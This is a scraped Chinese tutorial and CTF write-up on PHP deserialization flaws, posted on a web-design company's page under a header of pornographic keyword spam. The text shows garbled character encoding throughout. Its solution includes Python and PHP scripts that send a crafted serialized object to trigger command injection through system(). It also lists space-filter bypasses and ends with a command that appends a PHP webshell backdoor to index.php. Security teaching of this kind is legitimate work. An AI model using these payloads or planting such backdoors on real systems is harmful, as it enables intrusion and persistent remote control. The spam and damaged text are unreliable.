日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
PHP反序列化漏洞簡(jiǎn)介及相關(guān)技巧小結(jié)

要學(xué)習(xí)PHP反序列漏洞,先了解下PHP序列化和反序列化是什么東西。

創(chuàng)新互聯(lián)自2013年起,先為麻章等服務(wù)建站,麻章等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為麻章企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。

php程序?yàn)榱吮4婧娃D(zhuǎn)儲(chǔ)對(duì)象,提供了序列化的方法,php序列化是為了在程序運(yùn)行的過(guò)程中對(duì)對(duì)象進(jìn)行轉(zhuǎn)儲(chǔ)而產(chǎn)生的。序列化可以將對(duì)象轉(zhuǎn)換成字符串,但僅保留對(duì)象里的成員變量,不保留函數(shù)方法。

php序列化的函數(shù)為serialize。反序列化的函數(shù)為unserialize。

序列化

舉個(gè)栗子:

 
 
 
 
  1. class Test{  
  2.          public$a = 'ThisA';  
  3.          protected$b = 'ThisB';  
  4.          private$c = 'ThisC';  
  5.          publicfunction test1(){  
  6.                   return'this is test1 ';  
  7.          }  
  8. }  
  9. $test = new Test();  
  10. var_dump(serialize($test));  
  11. ?> 

輸出:

解釋一下:

O代表是對(duì)象;:4表示改對(duì)象名稱有4個(gè)字符;:”Test”表示改對(duì)象的名稱;:3表示改對(duì)象里有3個(gè)成員。

接著是括號(hào)里面的。我們這個(gè)類的三個(gè)成員變量由于變量前的修飾不同,在序列化出來(lái)后顯示的也不同。

第一個(gè)變量a序列化后為 s:1:”a”;s:5:”ThisA”;

由于變量是有變量名和值的。所以序列化需要把這兩個(gè)都進(jìn)行轉(zhuǎn)換。序列化后的字符串以分號(hào)分割每一個(gè)變量的特性。

這個(gè)要根據(jù)分號(hào)來(lái)分開看,分號(hào)左邊的是變量名,分號(hào)右邊的是變量的值。

先看左邊的。其實(shí)都是同理的。s表示是字符串,1表示該字符串中只有一個(gè)字符,”a”表示該字符串為a。右邊的同理可得。

第二個(gè)變量和第一個(gè)變量有所不同,多了個(gè)亂碼和 * 號(hào)。這是因?yàn)榈谝粋€(gè)變量a是public屬性,而第二個(gè)變量b是protected屬性,php為了區(qū)別這些屬性所以進(jìn)行了一些修飾。這個(gè)亂碼查了下資料,其實(shí)是 %00(url編碼,hex也就是0×00)。表示的是NULL。所以protected屬性的表示方式是在變量名前加個(gè)%00*%00

第三個(gè)變量的屬性是private。表示方式是在變量名前加上%00類名%00

可以看到雖然Test類中有test1這個(gè)方法,但是序列化后的字符串中并沒有包含這個(gè)方法的信息。所以序列化不保存方法。

反序列化

 
 
 
 
  1.  
  2. class Test{ 
  3.  
  4.          public$a = 'ThisA'; 
  5.  
  6.          protected$b = 'ThisB'; 
  7.  
  8.          private$c = 'ThisC'; 
  9.  
  10.          publicfunction test1(){ 
  11.  
  12.                   return'this is test1 '; 
  13.  
  14.          } 
  15.  
  16.  
  17. $test = new Test(); 
  18.  
  19. $sTest = serialize($test); 
  20.  
  21. $usTest = unserialize($sTest); 
  22.  
  23. var_dump($usTest); 
  24.  
  25. ?> 

輸出:

可以看到類的成員變量被還原了,但是類方法沒有被還原,因?yàn)樾蛄谢臅r(shí)候就沒保存方法。

魔術(shù)方法

大概了解了php序列化和序列化的過(guò)程,那么就來(lái)介紹一下相關(guān)的魔術(shù)方法。

  • construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用
  • destruct 當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用
  • toString 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用
  • sleep 在對(duì)象被序列化之前運(yùn)行
  • wakeup 在對(duì)象被反序列化之后被調(diào)用

直接舉栗子吧:

 
 
 
 
  1. classTest{ 
  2.          public function __construct(){ 
  3.                   echo 'construct run'; 
  4.          } 
  5.          public function __destruct(){ 
  6.                   echo 'destruct run'; 
  7.          } 
  8.          public function __toString(){ 
  9.                   echo 'toString run'; 
  10.          } 
  11.          public function __sleep(){ 
  12.                   echo 'sleep run'; 
  13.          } 
  14.          public function __wakeup(){ 
  15.                   echo 'wakeup run'; 
  16.          } 
  17. /**/ 
  18. echo'new了一個(gè)對(duì)象,對(duì)象被創(chuàng)建,執(zhí)行__construct
    '; 
  19. $test= new Test(); 
  20. /**/ 
  21. echo'
    serialize了一個(gè)對(duì)象,對(duì)象被序列化,先執(zhí)行__sleep,再序列化
    '; 
  22. $sTest= serialize($test); 
  23. /**/ 
  24. echo'
    unserialize了一個(gè)序列化字符串,對(duì)象被反序列化,先反序列化,再執(zhí)行__wakeup
    '; 
  25. $usTest= unserialize($sTest); 
  26. /**/ 
  27. echo'
    把Test這個(gè)對(duì)象當(dāng)做字符串使用了,執(zhí)行__toString
    '; 
  28. $string= 'hello class ' . $test; 
  29. /**/ 
  30. echo'
    程序運(yùn)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct
    '; 
  31. ?> 

輸出:

可以看到有一個(gè)警告一個(gè)報(bào)錯(cuò),是因?yàn)開_sleep函數(shù)期望能return一個(gè)數(shù)組,而__toString函數(shù)則必須返回一個(gè)字符串。由于我們都是echo的沒有寫return,所以引發(fā)了這些報(bào)錯(cuò),那么我們就按照?qǐng)?bào)錯(cuò)的來(lái),要什么加什么。

輸出:

現(xiàn)在只需要明白這5個(gè)魔法函數(shù)的執(zhí)行順序即可,至于里面的代碼就要看程序員或者出題人怎么寫了。。。對(duì)于__construct函數(shù)的話我個(gè)人認(rèn)為好像莫有多大用。。也許是我菜吧。。感覺沒有什么地方能在反序列化的時(shí)候用上。歡迎大佬指點(diǎn)。

一道題目引發(fā)的技巧小結(jié)

了解了反序列化的基礎(chǔ)和一些魔法函數(shù)后,我們來(lái)看到題吧。該題不僅考了反序列化,還簡(jiǎn)單考察了一下變量覆蓋和命令注入的正則繞過(guò)。其中有一些坑我們可以看一下。

源碼很簡(jiǎn)單:

 
 
 
 
  1. error_reporting(0);  
  2. class come{      
  3.    private $method;  
  4.    private $args;  
  5.    function __construct($method, $args) {  
  6.        $this->method = $method;  
  7.        $this->args = $args;  
  8.     }  
  9.    function __wakeup(){  
  10.        foreach($this->args as $k => $v) {  
  11.            $this->args[$k] = $this->waf(trim($v));  
  12.        }  
  13.     }  
  14.    function waf($str){  
  15.        $str=preg_replace("/[<>*;|?\n ]/","",$str);  
  16.        $str=str_replace('flag','',$str);  
  17.        return $str;  
  18.    }             
  19.    function echos($host){  
  20.        system("echos $host".$host);  
  21.     } 
  22.    function __destruct(){  
  23.        if (in_array($this->method, array("echos"))) {  
  24.            call_user_func_array(array($this, $this->method), $this->args);  
  25.        }  
  26.     }  
  27. }  
  28. $first='hi';  
  29. $var='var';  
  30. $bbb='bbb';  
  31. $ccc='ccc';  
  32. $i=1;  
  33. foreach($_GET as $key => $value) {  
  34.        if($i===1)  
  35.        { 
  36.             $i++;     
  37.            $$key = $value;  
  38.        }  
  39.        else{break;}  
  40. }  
  41. if($first==="doller")  
  42. {  
  43.    @parse_str($_GET['a']);  
  44.    if($var==="give")  
  45.     {  
  46.        if($bbb==="me") 
  47.        {  
  48.            if($ccc==="flag")  
  49.            { 
  50.                  echo"
    welcome!
    ";  
  51.                 $come=@$_POST['come'];  
  52.                 unserialize($come);   
  53.            }  
  54.        }  
  55.        else  
  56.        {echo "
    think about it
    ";}  
  57.     }  
  58.    else  
  59.     {  
  60.        echo "NO";  
  61.     }  
  62. }  
  63. else  
  64. {  
  65.    echo "Can you hack me?
    ";  
  66. }  
  67. ?> 

拿到源碼我們先簡(jiǎn)單瀏覽一下,看到parse_str就想到了用變量覆蓋來(lái)過(guò)這些if語(yǔ)句,而parse_str的參數(shù)是通過(guò)GET請(qǐng)求中的a參數(shù)中獲得,parse_str進(jìn)行變量分割的符號(hào)是 & 號(hào),沒怎么多想就直接先打上一手請(qǐng)求先:

 
 
 
 
  1. ?first=doller&a=var=give&bbb=me&ccc=flag 

我原本的意愿是希望這樣子被解析

 
 
 
 
  1. ?first=doller&a=var=give&bbb=me&ccc=flag 

希望紅字是一個(gè)整體,是一個(gè)字符串,是a這個(gè)參數(shù)的值??偣驳腉ET參數(shù)就兩個(gè),一個(gè)first一個(gè)a。但php解析的是。。。

 
 
 
 
  1. ?first=doller&a=var=give&bbb=me&ccc=flag 

即有4個(gè)參數(shù),a的值是var=give,但遇到&號(hào)在url中就被解析成了GET參數(shù)的分割符,認(rèn)為bbb=me是一個(gè)新的GET的參數(shù)。

不過(guò)好在有URL編碼這種東西,可以在這有歧義的時(shí)候扭轉(zhuǎn)局勢(shì),我們把&號(hào)進(jìn)行URL編碼,這樣子解析時(shí)就會(huì)認(rèn)為是一個(gè)字符串了。URL編碼可以用php的urlencode函數(shù)。得到&的URL編碼為%26。構(gòu)造請(qǐng)求:

 
 
 
 
  1. ?first=doller&a=var=give%26bbb=me%26ccc=flag 

看到了歡迎字樣:

查看代碼,發(fā)現(xiàn)到了反序列化的地方了。而反序列化的來(lái)源是通過(guò)POST提交的come參數(shù)

知道了要反序列化,接下來(lái)就是確定要反序列化的類了。這個(gè)源碼就一個(gè)類come。對(duì)這個(gè)類進(jìn)行審計(jì)。

__construct感覺沒什么用,先扔在一邊,重點(diǎn)看__wakeup和__destruct函數(shù),__wakeup是調(diào)用了一個(gè)waf函數(shù),用來(lái)做正則過(guò)濾的,這個(gè)我們先放一下,我們看__destruct函數(shù),它使用了call_user_func_array這個(gè)php內(nèi)置的方法,作用是調(diào)用一個(gè)指定方法。舉個(gè)這個(gè)函數(shù)的簡(jiǎn)單栗子:

第一個(gè)參數(shù)是要調(diào)用的函數(shù),第二個(gè)參數(shù)是一個(gè)數(shù)組,用于給調(diào)用的函數(shù)傳參。數(shù)組中第一個(gè)值就是函數(shù)中的第一個(gè)參數(shù),以此類推。

但是題目中的call_user_func_array中的第一個(gè)參數(shù)是個(gè)數(shù)組,這什么意思呢。。?

數(shù)組的話就是數(shù)組的第一個(gè)元素表示是該方法所在的類,第二個(gè)元素就是方法名。

我們來(lái)看看這個(gè)類的成員變量吧,在可以反序列化后,就要明白這個(gè)類中的所有成員變量都是我們可控的,所以call_user_func_array()中的$this->method和$this->args也就是我們可控的。不過(guò)由于執(zhí)行這個(gè)函數(shù)要通過(guò)一個(gè)if,且調(diào)用的函數(shù)必須是本類的函數(shù),那我們就只能看看本類中還有什么方法吧。

我們看看進(jìn)入call_user_func_array()函數(shù)前的if判斷,它判斷我們要調(diào)用的函數(shù)名是否在一個(gè)允許調(diào)用的列表里,而這個(gè)列表就只有echos這一個(gè)函數(shù),也就是說(shuō)我們的method變量已經(jīng)限定死了,必須為echos。

那么我們只能去看看echos函數(shù)里有什么了,居然有system函數(shù)

那么我們就可以進(jìn)行命令注入了,可以看到echos函數(shù)就只有一個(gè)形參,結(jié)合上面我們說(shuō)到的call_user_func_array()函數(shù),就形成了這樣一個(gè)思路:

  • 通過(guò)反序列化控制method和args兩個(gè)成員變量
  • method必須是echos不然通不過(guò)if判斷
  • 通過(guò)call_user_func_array()函數(shù)第一個(gè)參數(shù)調(diào)用本類中的echos方法,第二個(gè)參數(shù)給方法傳參-
  • 由于echos方法中的system函數(shù)的參數(shù)是拼接形參的,完成命令注入。

思路有了,那么我們看看args變量要怎么寫吧。根據(jù)執(zhí)行順序,先wakeup再destruct(由于是反序列化的,不會(huì)執(zhí)行construct,只有new才會(huì)執(zhí)行construct)。那么我們看看wakeup中又進(jìn)行了什么操作

可以看到它默認(rèn)將args變量視為一個(gè)數(shù)組,對(duì)其進(jìn)行了foreach,然后又對(duì)數(shù)組中的每個(gè)元素送去了waf進(jìn)行過(guò)濾。這表明我們傳入的args是一個(gè)數(shù)組。

再來(lái)看看waf函數(shù)是干嘛的。

第一行,正則匹配args的元素,如果元素中出現(xiàn)將斜杠/之間的任意一個(gè)字符,就將他們替換為空。這里過(guò)濾了|符號(hào),這個(gè)有點(diǎn)傷,因?yàn)槊钪惺峭ㄟ^(guò)|進(jìn)行管道的操作,在命令注入時(shí)用|進(jìn)行拼接很有用,不過(guò)即使它禁用了,我們還可以通過(guò)& 達(dá)到多個(gè)命令一行執(zhí)行的目的。

第二行,如果args中的元素中存在flag這個(gè)字符串,替換為空,也就是說(shuō)我們要讀取flag文件時(shí)要通過(guò)雙寫flag進(jìn)行繞過(guò)。

這里注意一下system函數(shù),有個(gè)坑。。。

echo寫錯(cuò)寫成了echos。。。。即這個(gè)命令本身就是錯(cuò)的,所以選擇命令的分隔符要慎重。

資料:

  • 是不管前后命令是否執(zhí)行成功都會(huì)執(zhí)行前后命令
  • 是前面的命令執(zhí)行成功才能執(zhí)行后面的命令
  • 是前面的命令執(zhí)行不成功才能執(zhí)行后面的命令
  • 管道符

所以我們要使用&符而不能使用&&。

復(fù)制這一串序列化字符串到Postman上,然后既然我們都拿到源碼了,我們把第2行的error_reporting(0);先注釋起來(lái),這個(gè)意思是抑制報(bào)錯(cuò),這對(duì)我們調(diào)試代碼很不友好,把報(bào)錯(cuò)打開才能更快找到問題所在。

發(fā)送payload,emmm…… no responose?

在這里思來(lái)想去,折騰了一下,后面通過(guò)var_dump才找到問題源頭(var_dump大法好)

前面剛說(shuō)了要注意類型。。。private和protected的變量名前都是有0×00的。。。echo的輸出由于是NULL就空過(guò)去了,但是沒有逃過(guò)var_dump的法眼(var_dump大法好)

那么我們就要手動(dòng)添加0×00上去了,這里可以用python、php等編程語(yǔ)言將0×00轉(zhuǎn)換成字符然后再通過(guò)他們自己的網(wǎng)絡(luò)模塊發(fā)送,

栗子:

python:(2.7)

通過(guò)decode和encode來(lái)進(jìn)行編碼

 
 
 
 
  1. import requests 
  2. s = requests.session() 
  3. url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag" 
  4. n = '00'.decode('hex') 
  5. o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}' 
  6. r = requests.post(url,data={"come":o}) 
  7. print(r.text) 

php:

通過(guò)urldecode進(jìn)行對(duì)%00進(jìn)行解碼

 
 
 
 
  1. $curl = curl_init();  
  2. curl_setopt($curl,CURLOPT_URL,'http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag');  
  3. curl_setopt($curl,CURLOPT_POST, 1);  
  4. $n = urldecode('%00');  
  5. $o = 'O:4:"come":2:{s:12:"'.$n.'come'.$n.'method";s:5:"echos";s:10:"'.$n.'come'.$n.'args";a:1:{i:0;s:3:"&ls";}}';  
  6. curl_setopt($curl,CURLOPT_POSTFIELDS, ['come'=>$o]);  
  7. curl_exec($curl);  
  8. curl_close($curl);  
  9. ?> 

不過(guò)有更快的方法。。。直接通過(guò)postman的urlencode/urldecode即可。因?yàn)?×00也就是url編碼中的%00。所以u(píng)rl編碼一下就完事。

要用%00包裹住類名,不能包多了也不能包少了,雖然%00也算一個(gè)字符,但是Php序列化的時(shí)候已經(jīng)幫我們算好了,所以不需要修改,或者說(shuō),我們之前的那個(gè)長(zhǎng)度值就是錯(cuò)的。。。

選中%00,右鍵,選擇decode即可。

結(jié)果:

我們?cè)侔l(fā)送,有response了,

發(fā)現(xiàn)有flag.txt。由于我是windows環(huán)境,讀取文件使用type命令。

type命令格式:type文件路徑

修改payload。

發(fā)現(xiàn)無(wú)回顯

命令是對(duì)的,是因?yàn)閯倓偽覀兒雎缘膚af函數(shù)在作怪。剛剛提到wakup時(shí)將每個(gè)args變量拿去在waf函數(shù)中洗了個(gè)澡。過(guò)濾內(nèi)容為:

flag這個(gè)字符串被替換為空,可以通過(guò)雙寫flag來(lái)繞過(guò):flflagag

不過(guò)在第一個(gè)正則中過(guò)濾了空格就有點(diǎn)難受了,總所周知系統(tǒng)命令都是要打個(gè)空格才能添加參數(shù)的,過(guò)濾了空格怎么破?

思來(lái)想去后,發(fā)現(xiàn)windows沒有人提供資料,但是linux下有很多。

繞過(guò)方法:

 
 
 
 
  1. !! (最好一開始就先用這個(gè),執(zhí)行上一條命令,也許有奇效。。)  
  2. cat${IFS}flag.txt  
  3. cat$IFS$9flag.txt  
  4. cat
  5. cat<>flag.txt  
  6. {cat,flag.txt}  
  7. KG=$’\x20flag.txt’&&cat$KG (\x20轉(zhuǎn)換成字符串就是空格,這里通過(guò)變量的方式巧妙繞過(guò)) 

隨便用一個(gè)(linux環(huán)境下):

windows環(huán)境下的話時(shí)我突發(fā)奇想隨便試出來(lái)的。適用性不是很廣,也就type這個(gè)命令能用用。。

 
 
 
 
  1. type.\flag.txt  
  2. type,flag.txt  
  3. echo,123456 

echo的話這個(gè)如果腦洞大點(diǎn)可以通過(guò)echo >>的方式將一句話追加到php文件末尾,達(dá)到getShell的目的。不過(guò)這樣子如果該php文件很規(guī)范的用了?>結(jié)尾就莫得,如果沒有那么規(guī)范,沒用?>結(jié)尾就可以成功。

示例:

 
 
 
 
  1. echo,@system($_GET['cmd']);>>index.php 

然后就可以通過(guò)新的后門來(lái)getshell了。


文章題目:PHP反序列化漏洞簡(jiǎn)介及相關(guān)技巧小結(jié)
文章網(wǎng)址:http://www.dlmjj.cn/article/dpgehph.html